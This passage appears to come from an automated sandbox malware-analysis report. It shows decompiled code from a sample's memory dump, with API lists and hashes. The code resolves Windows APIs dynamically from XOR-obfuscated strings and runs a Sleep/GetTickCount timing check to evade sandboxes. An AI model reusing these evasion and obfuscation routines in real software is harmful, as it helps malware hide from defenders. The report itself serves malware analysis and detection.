				_t2 = LoadLibraryA(_t38); // executed
				 *0x41a934 = _t2;
				if( *0x41a854 != 0) {
					_t5 =  *0x41a594; // 0x899208
					_t29 =  *0x41a854; // 0x74b40000
					_t2 = GetProcAddress(_t29, _t5);
					 *0x41a944 = _t2;
				}
				if( *0x41a934 != 0) {
					_t39 =  *0x41a0b8; // 0x885830
					_t3 =  *0x41a934; // 0x749a0000
					_t4 = GetProcAddress(_t3, _t39);
					 *0x41a9e0 = _t4;
					return _t4;
				}
				return _t2;
			}

0x0040c2ea
0x0040c2f0
0x0040c2f6
0x0040c305
0x0040c30a
0x0040c311
0x0040c31f
0x0040c324
0x0040c32b
0x0040c338
0x0040c33d
0x0040c343
0x0040c350
0x0040c355
0x0040c35c
0x0040c368
0x0040c36d
0x0040c374
0x0040c381
0x0040c386
0x0040c38c
0x0040c399
0x0040c39e
0x0040c3a5
0x0040c3b1
0x0040c3b6
0x0040c3bd
0x0040c3ca
0x0040c3cf
0x0040c3d5
0x0040c3e2
0x0040c3e7
0x0040c3ee
0x0040c3fa
0x0040c3ff
0x0040c406
0x0040c413
0x0040c41d
0x0040c429
0x0040c429
0x0040c42e
0x0040c43b
0x0040c440
0x0040c447
0x0040c44d
0x0040c459
0x0040c45b
0x0040c461
0x0040c468
0x0040c46e
0x0040c46e
0x0040c47a
0x0040c47c
0x0040c483
0x0040c489
0x0040c48f
0x00000000
0x0040c48f
0x0040c495

APIs

GetProcAddress.KERNEL32(74DF0000,00899190), ref: 0040C332
GetProcAddress.KERNEL32(74DF0000,008843E8), ref: 0040C34A
GetProcAddress.KERNEL32(74DF0000,008858F0), ref: 0040C362
GetProcAddress.KERNEL32(74DF0000,00899160), ref: 0040C37B
GetProcAddress.KERNEL32(74DF0000,008992E0), ref: 0040C393
GetProcAddress.KERNEL32(74DF0000,00899040), ref: 0040C3AB
GetProcAddress.KERNEL32(74DF0000,00899058), ref: 0040C3C4
GetProcAddress.KERNEL32(74DF0000,00899130), ref: 0040C3DC
GetProcAddress.KERNEL32(74DF0000,00885670), ref: 0040C3F4
GetProcAddress.KERNEL32(74DF0000,00885590), ref: 0040C40D
GetProcAddress.KERNEL32(74DF0000,VirtualAllocExNuma), ref: 0040C423
LoadLibraryA.KERNEL32(00899238,?,00406B72), ref: 0040C435
LoadLibraryA.KERNELBASE(00899148,?,00406B72), ref: 0040C447
GetProcAddress.KERNEL32(74B40000,00899208), ref: 0040C468
GetProcAddress.KERNEL32(749A0000,00885830), ref: 0040C489

Strings

VirtualAllocExNuma, xrefs: 0040C418

Memory Dump Source

Source File: 00000016.00000002.398485447.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.398546451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_9779.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: VirtualAllocExNuma
API String ID: 2238633743-737288162
Opcode ID: 2656e5721d2e72d8ddd254abdf4fc75b759c6e6593f162f059aa174bfdec3ac2
Instruction ID: a0d7b009b4cf0954f7e46bb6ba0f8cea1e563656be094aab1f3a6ea2fda818d0
Opcode Fuzzy Hash: 2656e5721d2e72d8ddd254abdf4fc75b759c6e6593f162f059aa174bfdec3ac2
Instruction Fuzzy Hash: A44165F5523200DFC344DFA8EE8899637B9BB8C251705CA39E50983672D7389561CF6E

Uniqueness

Uniqueness Score: -1.00%

Function 00406AA0, Relevance: 4.5, APIs: 3, Instructions: 19
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00406AA0() {
				long _v8;
				intOrPtr _v12;

				_v8 = GetTickCount();
				Sleep(0x2710); // executed
				_v12 = GetTickCount() - _v8;
				if(_v12 <= 0x1770) {
					return 0;
				}
				return 1;
			}

0x00406aac
0x00406ab4
0x00406ac3
0x00406acd
0x00000000
0x00406ad8
0x00000000

APIs

GetTickCount.KERNEL32 ref: 00406AA6
Sleep.KERNELBASE(00002710,?,00406B84), ref: 00406AB4
GetTickCount.KERNEL32 ref: 00406ABA

Memory Dump Source

Source File: 00000016.00000002.398485447.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.398546451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_9779.jbxd

Similarity

API ID: CountTick$Sleep
String ID:
API String ID: 4250438611-0
Opcode ID: 7f553c1e48c696f60989e1e45f98f64c256f88cb05cd9abfc45eb1fdc696742f
Instruction ID: 5e65db4bb8db0037cc9712db6db32af1b7f49a6c19175b0f31c2b6dd27f19f6d
Opcode Fuzzy Hash: 7f553c1e48c696f60989e1e45f98f64c256f88cb05cd9abfc45eb1fdc696742f
Instruction Fuzzy Hash: F8E04F30949118DBCB00BFB4D9080AD7BB0EB01342F10C0B29807A2280DA784D609F5B

Uniqueness

Uniqueness Score: -1.00%

Function 004048D0, Relevance: 3.1, APIs: 2, Instructions: 52
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E004048D0(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				long _v8;
				void* _v12;
				signed int _v16;
				void* _t28;
				signed int _t33;
				void* _t53;

				_t28 = LocalAlloc(0x40, _a12 + 1); // executed
				_v12 = _t28;
				 *((char*)(_v12 + _a12)) = 0;
				_v16 = 0;
				while(_v16 < _a12) {
					_t33 = E0040B740(_a4 + _v16, _a8);
					_t53 = _t53 + 4;
					 *((char*)(_v12 + _v16)) =  *(_a4 + _v16) ^  *(_a8 + _v16 % _t33);
					_v16 = _v16 + 1;
				}
				_v8 = 0;
				VirtualProtect(_v12, 4, 0x100,  &_v8); // executed
				return _v12;
			}

0x004048e0
0x004048e6
0x004048ef
0x004048f2
0x00404904
0x00404919
0x0040491e
0x00404939
0x00404901
0x00404901
0x0040493d
0x00404953
0x00404960

APIs

LocalAlloc.KERNELBASE(00000040,?), ref: 004048E0
VirtualProtect.KERNELBASE(?,00000004,00000100,00000000), ref: 00404953

Memory Dump Source

Source File: 00000016.00000002.398485447.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000016.00000002.398546451.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_400000_9779.jbxd

Similarity

API ID: AllocLocalProtectVirtual
String ID:
API String ID: 4134893223-0
Opcode ID: 90b564fceca7221074c59603a80da56f6d10dbde48e6bfe9d302259930e3f4f3
Instruction ID: 4623e7d36af2260dceec399572c1bb905ae2e9b6f15e47edd37a55d804c2928b
Opcode Fuzzy Hash: 90b564fceca7221074c59603a80da56f6d10dbde48e6bfe9d302259930e3f4f3
Instruction Fuzzy Hash: 561173B4E00248EFCB04DFA8C890BAEBBB5FF49305F108099EA15A7341C735AA11CB55

Uniqueness

Uniqueness Score: -1.00%

Function 0040C4A0, Relevance: 268.6, APIs: 144, Strings: 9, Instructions: 865
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0040C4A0() {
				CHAR* _t2;
				struct HINSTANCE__* _t3;
				CHAR* _t6;
				struct HINSTANCE__* _t7;
				struct HINSTANCE__* _t8;
				struct HINSTANCE__* _t9;
				CHAR* _t10;
				struct HINSTANCE__* _t11;
				struct HINSTANCE__* _t12;
				struct HINSTANCE__* _t13;
				CHAR* _t14;
				struct HINSTANCE__* _t15;
				struct HINSTANCE__* _t16;
				_Unknown_base(*)()* _t17;
				CHAR* _t18;
				_Unknown_base(*)()* _t19;
				struct HINSTANCE__* _t20;
				CHAR* _t23;
				struct HINSTANCE__* _t25;
				CHAR* _t28;
				struct HINSTANCE__* _t30;
				CHAR* _t33;
				CHAR* _t34;
				struct HINSTANCE__* _t36;
				CHAR* _t37;
				struct HINSTANCE__* _t39;
				CHAR* _t41;
				struct HINSTANCE__* _t43;
				CHAR* _t46;
				struct HINSTANCE__* _t48;
				CHAR* _t50;
				struct HINSTANCE__* _t52;
				CHAR* _t55;
				struct HINSTANCE__* _t57;
				struct HINSTANCE__* _t59;
				CHAR* _t60;
				struct HINSTANCE__* _t61;
				CHAR* _t64;
				struct HINSTANCE__* _t66;
				CHAR* _t69;
				struct HINSTANCE__* _t71;
				CHAR* _t74;
				struct HINSTANCE__* _t76;
				CHAR* _t79;
				struct HINSTANCE__* _t81;
				CHAR* _t83;
				struct HINSTANCE__* _t85;
				CHAR* _t88;
				struct HINSTANCE__* _t90;
				struct HINSTANCE__* _t92;
				CHAR* _t95;
				struct HINSTANCE__* _t97;
				CHAR* _t100;
				struct HINSTANCE__* _t102;
				CHAR* _t105;
				struct HINSTANCE__* _t107;
				CHAR* _t110;
				struct HINSTANCE__* _t112;
				CHAR* _t115;
				struct HINSTANCE__* _t117;
				CHAR* _t120;
				struct HINSTANCE__* _t122;
				CHAR* _t124;
				struct HINSTANCE__* _t127;
				CHAR* _t128;
				struct HINSTANCE__* _t130;
				CHAR* _t133;
				struct HINSTANCE__* _t135;
				CHAR* _t138;
				struct HINSTANCE__* _t140;
				CHAR* _t143;
				struct HINSTANCE__* _t145;
				CHAR* _t148;
				struct HINSTANCE__* _t150;
				CHAR* _t153;
				struct HINSTANCE__* _t155;
				CHAR* _t158;
				struct HINSTANCE__* _t160;
				CHAR* _t163;
				struct HINSTANCE__* _t165;
				CHAR* _t168;
				struct HINSTANCE__* _t170;
				CHAR* _t173;
				struct HINSTANCE__* _t175;
				CHAR* _t178;
				struct HINSTANCE__* _t180;
				CHAR* _t183;
				struct HINSTANCE__* _t185;
				CHAR* _t188;
				struct HINSTANCE__* _t190;
				CHAR* _t193;
				struct HINSTANCE__* _t195;
				CHAR* _t198;
				struct HINSTANCE__* _t200;
				CHAR* _t203;
				struct HINSTANCE__* _t205;
				CHAR* _t208;
				struct HINSTANCE__* _t210;
				struct HINSTANCE__* _t213;
				struct HINSTANCE__* _t217;
				CHAR* _t220;
				CHAR* _t221;
				CHAR* _t222;
				CHAR* _t223;
				struct HINSTANCE__* _t224;
				CHAR* _t225;
				CHAR* _t226;
				struct HINSTANCE__* _t227;
				CHAR* _t228;
				struct HINSTANCE__* _t229;
				CHAR* _t230;
				struct HINSTANCE__* _t231;
				struct HINSTANCE__* _t232;
				struct HINSTANCE__* _t233;
				CHAR* _t234;
				struct HINSTANCE__* _t235;
				CHAR* _t236;
				struct HINSTANCE__* _t237;
				CHAR* _t238;
				struct HINSTANCE__* _t239;
				CHAR* _t240;
				struct HINSTANCE__* _t241;
				CHAR* _t242;
				CHAR* _t243;
				struct HINSTANCE__* _t244;
				CHAR* _t245;
				struct HINSTANCE__* _t246;
				CHAR* _t247;
				struct HINSTANCE__* _t248;
				CHAR* _t249;
				struct HINSTANCE__* _t250;
				CHAR* _t251;
				struct HINSTANCE__* _t252;
				CHAR* _t253;
				struct HINSTANCE__* _t254;
				CHAR* _t255;
				struct HINSTANCE__* _t256;
				struct HINSTANCE__* _t257;
				CHAR* _t258;
				struct HINSTANCE__* _t259;
				CHAR* _t260;
				struct HINSTANCE__* _t261;
				CHAR* _t262;
				struct HINSTANCE__* _t263;
				CHAR* _t264;
				CHAR* _t265;
				struct HINSTANCE__* _t266;
				CHAR* _t267;
				struct HINSTANCE__* _t268;
				CHAR* _t269;
				struct HINSTANCE__* _t270;
				struct HINSTANCE__* _t271;
				struct HINSTANCE__* _t272;
				struct HINSTANCE__* _t273;
				CHAR* _t274;
				struct HINSTANCE__* _t275;
				CHAR* _t276;
				struct HINSTANCE__* _t277;
				CHAR* _t278;
				struct HINSTANCE__* _t279;
				CHAR* _t280;
				struct HINSTANCE__* _t281;
				CHAR* _t282;
				struct HINSTANCE__* _t283;
				CHAR* _t284;
				struct HINSTANCE__* _t285;
				CHAR* _t286;
				struct HINSTANCE__* _t287;
				CHAR* _t288;
				struct HINSTANCE__* _t289;
				CHAR* _t290;
				struct HINSTANCE__* _t291;
				CHAR* _t292;
				struct HINSTANCE__* _t293;
				CHAR* _t294;
				struct HINSTANCE__* _t295;
				CHAR* _t296;
				struct HINSTANCE__* _t297;
				CHAR* _t298;
				struct HINSTANCE__* _t299;
				CHAR* _t300;
				struct HINSTANCE__* _t301;
				CHAR* _t302;
				struct HINSTANCE__* _t303;
				CHAR* _t304;
				struct HINSTANCE__* _t305;
				CHAR* _t306;
				struct HINSTANCE__* _t307;
				struct HINSTANCE__* _t308;
				CHAR* _t309;
				CHAR* _t310;
				CHAR* _t311;
				CHAR* _t312;
				CHAR* _t313;
				CHAR* _t314;
				struct HINSTANCE__* _t315;
				struct HINSTANCE__* _t316;
				CHAR* _t317;
				struct HINSTANCE__* _t318;
				CHAR* _t319;
				struct HINSTANCE__* _t320;
				CHAR* _t321;
				CHAR* _t322;
				struct HINSTANCE__* _t323;
				CHAR* _t324;
				struct HINSTANCE__* _t325;
				CHAR* _t326;
				struct HINSTANCE__* _t327;
				CHAR* _t328;
				struct HINSTANCE__* _t329;
				CHAR* _t330;
				struct HINSTANCE__* _t331;
				struct HINSTANCE__* _t332;
				CHAR* _t333;
				CHAR* _t334;
				struct HINSTANCE__* _t335;
				CHAR* _t336;
				struct HINSTANCE__* _t337;
				CHAR* _t338;
				struct HINSTANCE__* _t339;
				CHAR* _t340;
				struct HINSTANCE__* _t341;
				CHAR* _t342;
				struct HINSTANCE__* _t343;
				CHAR* _t344;
				struct HINSTANCE__* _t345;
				CHAR* _t346;
				CHAR* _t347;
				struct HINSTANCE__* _t348;
				CHAR* _t349;
				struct HINSTANCE__* _t350;
				CHAR* _t351;
				struct HINSTANCE__* _t352;
				CHAR* _t353;
				struct HINSTANCE__* _t354;
				struct HINSTANCE__* _t355;
				CHAR* _t356;
				struct HINSTANCE__* _t357;
				CHAR* _t358;
				struct HINSTANCE__* _t359;
				CHAR* _t360;
				struct HINSTANCE__* _t361;
				CHAR* _t362;
				struct HINSTANCE__* _t363;
				CHAR* _t364;
				struct HINSTANCE__* _t365;
				CHAR* _t366;
				struct HINSTANCE__* _t367;
				CHAR* _t368;
				struct HINSTANCE__* _t369;
				CHAR* _t370;
				struct HINSTANCE__* _t371;
				CHAR* _t372;
				struct HINSTANCE__* _t373;
				CHAR* _t374;
				struct HINSTANCE__* _t375;
				CHAR* _t376;
				struct HINSTANCE__* _t377;
				CHAR* _t378;
				struct HINSTANCE__* _t379;
				CHAR* _t380;
				struct HINSTANCE__* _t381;
				CHAR* _t382;
				struct HINSTANCE__* _t383;
				CHAR* _t384;
				struct HINSTANCE__* _t385;
				CHAR* _t386;
				struct HINSTANCE__* _t387;
				CHAR* _t388;
				struct HINSTANCE__* _t389;
				CHAR* _t390;
				struct HINSTANCE__* _t391;
				CHAR* _t392;
				struct HINSTANCE__* _t393;
				CHAR* _t394;
				struct HINSTANCE__* _t395;
				struct HINSTANCE__* _t396;

				if( *0x41aa64 != 0) {
					_t128 =  *0x41a0b4; // 0x89a4c0
					_t273 =  *0x41aa64; // 0x74df0000
					 *0x41a9b4 = GetProcAddress(_t273, _t128);
					_t362 =  *0x41a728; // 0x89a5e0
					_t130 =  *0x41aa64; // 0x74df0000
					 *0x41aa24 = GetProcAddress(_t130, _t362);
					_t274 =  *0x41a2bc; // 0x885950
					_t363 =  *0x41aa64; // 0x74df0000
					 *0x41a9bc = GetProcAddress(_t363, _t274);
					_t133 =  *0x41a668; // 0x89a778
					_t275 =  *0x41aa64; // 0x74df0000
					 *0x41a8b0 = GetProcAddress(_t275, _t133);
					_t364 =  *0x41a5d8; // 0x89a748
					_t135 =  *0x41aa64; // 0x74df0000
					 *0x41a910 = GetProcAddress(_t135, _t364);
					_t276 =  *0x41a26c; // 0x89a7f0
					_t365 =  *0x41aa64; // 0x74df0000
					 *0x41a8b8 = GetProcAddress(_t365, _t276);
					_t138 =  *0x41a64c; // 0x89a7c0
					_t277 =  *0x41aa64; // 0x74df0000
					 *0x41aa90 = GetProcAddress(_t277, _t138);
					_t366 =  *0x41a4b8; // 0x89a790
					_t140 =  *0x41aa64; // 0x74df0000
					 *0x41a908 = GetProcAddress(_t140, _t366);
					_t278 =  *0x41a2b4; // 0x89a7a8
					_t367 =  *0x41aa64; // 0x74df0000
					 *0x41aa70 = GetProcAddress(_t367, _t278);
					_t143 =  *0x41a7bc; // 0x89a7d8
					_t279 =  *0x41aa64; // 0x74df0000
					 *0x41a9d8 = GetProcAddress(_t279, _t143);
					_t368 =  *0x41a49c; // 0x89af28
					_t145 =  *0x41aa64; // 0x74df0000
					 *0x41aa10 = GetProcAddress(_t145, _t368);
					_t280 =  *0x41a4fc; // 0x89af70
					_t369 =  *0x41aa64; // 0x74df0000
					 *0x41a8cc = GetProcAddress(_t369, _t280);
					_t148 =  *0x41a3a8; // 0x89aef8
					_t281 =  *0x41aa64; // 0x74df0000
					 *0x41aa9c = GetProcAddress(_t281, _t148);
					_t370 =  *0x41a1c0; // 0x885790
					_t150 =  *0x41aa64; // 0x74df0000
					 *0x41a998 = GetProcAddress(_t150, _t370);
					_t282 =  *0x41a1f8; // 0x89afd0
					_t371 =  *0x41aa64; // 0x74df0000
					 *0x41a9a0 = GetProcAddress(_t371, _t282);
					_t153 =  *0x41a7ac; // 0x8857b0
					_t283 =  *0x41aa64; // 0x74df0000
					 *0x41aaac = GetProcAddress(_t283, _t153);
					_t372 =  *0x41a5f8; // 0x899cc0
					_t155 =  *0x41aa64; // 0x74df0000
					 *0x41a904 = GetProcAddress(_t155, _t372);
					_t284 =  *0x41a0dc; // 0x89af88
					_t373 =  *0x41aa64; // 0x74df0000
					 *0x41aac4 = GetProcAddress(_t373, _t284);
					_t158 =  *0x41a30c; // 0x8857d0
					_t285 =  *0x41aa64; // 0x74df0000
					 *0x41a86c = GetProcAddress(_t285, _t158);
					_t374 =  *0x41a664; // 0x89afa0
					_t160 =  *0x41aa64; // 0x74df0000
					 *0x41a8fc = GetProcAddress(_t160, _t374);
					_t286 =  *0x41a04c; // 0x885810
					_t375 =  *0x41aa64; // 0x74df0000
					 *0x41aad0 = GetProcAddress(_t375, _t286);
					_t163 =  *0x41a0f0; // 0x89afe8
					_t287 =  *0x41aa64; // 0x74df0000
					 *0x41aa44 = GetProcAddress(_t287, _t163);
					_t376 =  *0x41a134; // 0x89afb8
					_t165 =  *0x41aa64; // 0x74df0000
					 *0x41a974 = GetProcAddress(_t165, _t376);
					_t288 =  *0x41a460; // 0x89b000
					_t377 =  *0x41aa64; // 0x74df0000
					 *0x41a8e4 = GetProcAddress(_t377, _t288);
					_t168 =  *0x41a554; // 0x89ae68
					_t289 =  *0x41aa64; // 0x74df0000
					 *0x41a868 = GetProcAddress(_t289, _t168);
					_t378 =  *0x41a190; // 0x885630
					_t170 =  *0x41aa64; // 0x74df0000
					 *0x41a96c = GetProcAddress(_t170, _t378);
					_t290 =  *0x41a52c; // 0x89ae50
					_t379 =  *0x41aa64; // 0x74df0000
					 *0x41aad8 = GetProcAddress(_t379, _t290);
					_t173 =  *0x41a5d0; // 0x89aee0
					_t291 =  *0x41aa64; // 0x74df0000
					 *0x41a930 = GetProcAddress(_t291, _t173);
					_t380 =  *0x41a268; // 0x89af40
					_t175 =  *0x41aa64; // 0x74df0000
					 *0x41a8a8 = GetProcAddress(_t175, _t380);
					_t292 =  *0x41a3f8; // 0x885650
					_t381 =  *0x41aa64; // 0x74df0000
					 *0x41a894 = GetProcAddress(_t381, _t292);
					_t178 =  *0x41a3a4; // 0x89ae80
					_t293 =  *0x41aa64; // 0x74df0000
					 *0x41a8c4 = GetProcAddress(_t293, _t178);
					_t382 =  *0x41a048; // 0x89af10
					_t180 =  *0x41aa64; // 0x74df0000
					 *0x41a914 = GetProcAddress(_t180, _t382);
					_t294 =  *0x41a6b0; // 0x89ae98
					_t383 =  *0x41aa64; // 0x74df0000
					 *0x41a8b4 = GetProcAddress(_t383, _t294);
					_t183 =  *0x41a458; // 0x89af58
					_t295 =  *0x41aa64; // 0x74df0000
					 *0x41a9dc = GetProcAddress(_t295, _t183);
					_t384 =  *0x41a364; // 0x89aeb0
					_t185 =  *0x41aa64; // 0x74df0000
					 *0x41aad4 = GetProcAddress(_t185, _t384);
					_t296 =  *0x41a550; // 0x8859d0
					_t385 =  *0x41aa64; // 0x74df0000
					 *0x41a8a4 = GetProcAddress(_t385, _t296);
					_t188 =  *0x41a13c; // 0x885c50
					_t297 =  *0x41aa64; // 0x74df0000
					 *0x41a8a0 = GetProcAddress(_t297, _t188);
					_t386 =  *0x41a428; // 0x89aec8
					_t190 =  *0x41aa64; // 0x74df0000
					 *0x41aa20 = GetProcAddress(_t190, _t386);
					_t298 =  *0x41a420; // 0x89a928
					_t387 =  *0x41aa64; // 0x74df0000
					 *0x41a9d4 = GetProcAddress(_t387, _t298);
					_t193 =  *0x41a02c; // 0x885c70
					_t299 =  *0x41aa64; // 0x74df0000
					 *0x41aab0 = GetProcAddress(_t299, _t193);
					_t388 =  *0x41a184; // 0x899b30
					_t195 =  *0x41aa64; // 0x74df0000
					 *0x41a9a4 = GetProcAddress(_t195, _t388);
					_t300 =  *0x41a118; // 0x89a940
					_t389 =  *0x41aa64; // 0x74df0000
					 *0x41a8c8 = GetProcAddress(_t389, _t300);
					_t198 =  *0x41a1a4; // 0x89ab38
					_t301 =  *0x41aa64; // 0x74df0000
					 *0x41a860 = GetProcAddress(_t301, _t198);
					_t390 =  *0x41a400; // 0x885d30
					_t200 =  *0x41aa64; // 0x74df0000
					 *0x41a9b0 = GetProcAddress(_t200, _t390);
					_t302 =  *0x41a654; // 0x885990
					_t391 =  *0x41aa64; // 0x74df0000
					 *0x41a8f4 = GetProcAddress(_t391, _t302);
					_t203 =  *0x41a3dc; // 0x885b50
					_t303 =  *0x41aa64; // 0x74df0000
					 *0x41a850 = GetProcAddress(_t303, _t203);
					_t392 =  *0x41a2dc; // 0x89aa60
					_t205 =  *0x41aa64; // 0x74df0000
					 *0x41a858 = GetProcAddress(_t205, _t392);
					_t304 =  *0x41a5f4; // 0x885a10
					_t393 =  *0x41aa64; // 0x74df0000
					 *0x41a92c = GetProcAddress(_t393, _t304);
					_t208 =  *0x41a780; // 0x89aa48
					_t305 =  *0x41aa64; // 0x74df0000
					 *0x41a978 = GetProcAddress(_t305, _t208);
					_t394 =  *0x41a0d8; // 0x885cf0
					_t210 =  *0x41aa64; // 0x74df0000
					 *0x41aa1c = GetProcAddress(_t210, _t394);
					_t306 =  *0x41a6ac; // 0x885c30
					_t395 =  *0x41aa64; // 0x74df0000
					 *0x41a890 = GetProcAddress(_t395, _t306);
					_t213 =  *0x41aa64; // 0x74df0000
					 *0x41aa58 = GetProcAddress(_t213, "CreateThread");
					_t307 =  *0x41aa64; // 0x74df0000
					 *0x41a8e8 = GetProcAddress(_t307, "GetEnvironmentVariableA");
					_t396 =  *0x41aa64; // 0x74df0000
					 *0x41a8ac = GetProcAddress(_t396, "SetEnvironmentVariableA");
					_t217 =  *0x41aa64; // 0x74df0000
					 *0x41aac8 = GetProcAddress(_t217, "lstrcpyA");
					_t308 =  *0x41aa64; // 0x74df0000
					 *0x41a994 = GetProcAddress(_t308, "lstrcpynA");
				}
				_t309 =  *0x41a03c; // 0x89a598
				 *0x41a964 = LoadLibraryA(_t309);
				_t2 =  *0x41a1e4; // 0x89a460
				_t3 = LoadLibraryA(_t2); // executed
				 *0x41a8d8 = _t3;
				_t220 =  *0x41a5fc; // 0x89a4d8
				 *0x41aaa8 = LoadLibraryA(_t220);
				_t310 =  *0x41a2c0; // 0x89a4f0
				 *0x41a988 = LoadLibraryA(_t310);
				_t6 =  *0x41a240; // 0x89a628
				_t7 = LoadLibraryA(_t6); // executed
				 *0x41aa40 = _t7;
				_t221 =  *0x41a77c; // 0x89a508
				_t8 = LoadLibraryA(_t221); // executed
				 *0x41a94c = _t8;
				_t311 =  *0x41a1e0; // 0x89a640
				_t9 = LoadLibraryA(_t311); // executed
				 *0x41aa34 = _t9;
				_t10 =  *0x41a568; // 0x89a6d0
				_t11 = LoadLibraryA(_t10); // executed
				 *0x41aa80 = _t11;
				_t222 =  *0x41a0a4; // 0x89a700
				_t12 = LoadLibraryA(_t222); // executed
				 *0x41a968 = _t12;
				_t312 =  *0x41a5a0; // 0x89a538
				_t13 = LoadLibraryA(_t312); // executed
				 *0x41aa98 = _t13;
				_t14 =  *0x41a688; // 0x89a550
				_t15 = LoadLibraryA(_t14); // executed
				 *0x41a938 = _t15;
				_t223 =  *0x41a228; // 0x89a568
				_t16 = LoadLibraryA(_t223); // executed
				 *0x41a97c = _t16;
				_t313 =  *0x41a58c; // 0x89a808
				_t17 = LoadLibraryA(_t313); // executed
				 *0x41aa88 = _t17;
				if( *0x41a964 != 0) {
					_t124 =  *0x41a4a0; // 0x89a140
					_t272 =  *0x41a964; // 0x775e0000
					 *0x41aa54 = GetProcAddress(_t272, _t124);
					_t361 =  *0x41a964; // 0x775e0000
					 *0x41a85c = GetProcAddress(_t361, "memset");
					_t127 =  *0x41a964; // 0x775e0000
					_t17 = GetProcAddress(_t127, "memcpy");
					 *0x41aab8 = _t17;
				}
				if( *0x41a8d8 != 0) {
					_t265 =  *0x41a490; // 0x89ab08
					_t355 =  *0x41a8d8; // 0x6fc40000
					 *0x41a954 = GetProcAddress(_t355, _t265);
					_t110 =  *0x41a25c; // 0x885ab0
					_t266 =  *0x41a8d8; // 0x6fc40000
					 *0x41aa74 = GetProcAddress(_t266, _t110);
					_t356 =  *0x41a530; // 0x885b10
					_t112 =  *0x41a8d8; // 0x6fc40000
					 *0x41aabc = GetProcAddress(_t112, _t356);
					_t267 =  *0x41a560; // 0x885c90
					_t357 =  *0x41a8d8; // 0x6fc40000
					 *0x41aa3c = GetProcAddress(_t357, _t267);
					_t115 =  *0x41a3d4; // 0x89ab20
					_t268 =  *0x41a8d8; // 0x6fc40000
					 *0x41aacc = GetProcAddress(_t268, _t115);
					_t358 =  *0x41a23c; // 0x885ad0
					_t117 =  *0x41a8d8; // 0x6fc40000
					 *0x41a950 = GetProcAddress(_t117, _t358);
					_t269 =  *0x41a564; // 0x885b30
					_t359 =  *0x41a8d8; // 0x6fc40000
					 *0x41a980 = GetProcAddress(_t359, _t269);
					_t120 =  *0x41a45c; // 0x8859f0
					_t270 =  *0x41a8d8; // 0x6fc40000
					 *0x41a84c = GetProcAddress(_t270, _t120);
					_t360 =  *0x41a278; // 0x885af0
					_t122 =  *0x41a8d8; // 0x6fc40000
					 *0x41a958 = GetProcAddress(_t122, _t360);
					_t271 =  *0x41a8d8; // 0x6fc40000
					_t17 = GetProcAddress(_t271, "InternetCrackUrlA");
					 *0x41a8ec = _t17;
				}
				if( *0x41aaa8 != 0) {
					_t347 =  *0x41a318; // 0x89aa30
					_t92 =  *0x41aaa8; // 0x768f0000
					 *0x41a874 = GetProcAddress(_t92, _t347);
					_t258 =  *0x41a63c; // 0x89a8e0
					_t348 =  *0x41aaa8; // 0x768f0000
					 *0x41a9ac = GetProcAddress(_t348, _t258);
					_t95 =  *0x41a608; // 0x8859b0
					_t259 =  *0x41aaa8; // 0x768f0000
					 *0x41a9ec = GetProcAddress(_t259, _t95);
					_t349 =  *0x41a528; // 0x885b70
					_t97 =  *0x41aaa8; // 0x768f0000
					 *0x41a9fc = GetProcAddress(_t97, _t349);
					_t260 =  *0x41a3ec; // 0x89a9b8
					_t350 =  *0x41aaa8; // 0x768f0000
					 *0x41aa28 = GetProcAddress(_t350, _t260);
					_t100 =  *0x41a648; // 0x89a130
					_t261 =  *0x41aaa8; // 0x768f0000
					 *0x41aaa4 = GetProcAddress(_t261, _t100);
					_t351 =  *0x41a298; // 0x885c10
					_t102 =  *0x41aaa8; // 0x768f0000
					 *0x41aab4 = GetProcAddress(_t102, _t351);
					_t262 =  *0x41a618; // 0x885cb0
					_t352 =  *0x41aaa8; // 0x768f0000
					 *0x41a878 = GetProcAddress(_t352, _t262);
					_t105 =  *0x41a384; // 0x89a988
					_t263 =  *0x41aaa8; // 0x768f0000
					 *0x41aac0 = GetProcAddress(_t263, _t105);
					_t353 =  *0x41a4ec; // 0x89aaa8
					_t107 =  *0x41aaa8; // 0x768f0000
					 *0x41aa5c = GetProcAddress(_t107, _t353);
					_t264 =  *0x41a38c; // 0x89a880
					_t354 =  *0x41aaa8; // 0x768f0000
					_t17 = GetProcAddress(_t354, _t264);
					 *0x41aa94 = _t17;
				}
				if( *0x41a854 != 0) {
					_t83 =  *0x41a6c8; // 0x89aa18
					_t254 =  *0x41a854; // 0x74b40000
					 *0x41a940 = GetProcAddress(_t254, _t83);
					_t344 =  *0x41a53c; // 0x885a90
					_t85 =  *0x41a854; // 0x74b40000
					 *0x41a920 = GetProcAddress(_t85, _t344);
					_t255 =  *0x41a180; // 0x89a8f8
					_t345 =  *0x41a854; // 0x74b40000
					 *0x41a9c4 = GetProcAddress(_t345, _t255);
					_t88 =  *0x41a724; // 0x885a30
					_t256 =  *0x41a854; // 0x74b40000
					 *0x41a870 = GetProcAddress(_t256, _t88);
					_t346 =  *0x41a1fc; // 0x89aa78
					_t90 =  *0x41a854; // 0x74b40000
					 *0x41aa6c = GetProcAddress(_t90, _t346);
					_t257 =  *0x41a854; // 0x74b40000
					_t17 = GetProcAddress(_t257, "RegGetValueA");
					 *0x41a8f8 = _t17;
				}
				if( *0x41a988 != 0) {
					_t334 =  *0x41a4c4; // 0x89aa90
					_t61 =  *0x41a988; // 0x76b90000
					 *0x41a9d0 = GetProcAddress(_t61, _t334);
					_t245 =  *0x41a198; // 0x89a868
					_t335 =  *0x41a988; // 0x76b90000
					 *0x41a960 = GetProcAddress(_t335, _t245);
					_t64 =  *0x41a7a8; // 0x885a50
					_t246 =  *0x41a988; // 0x76b90000
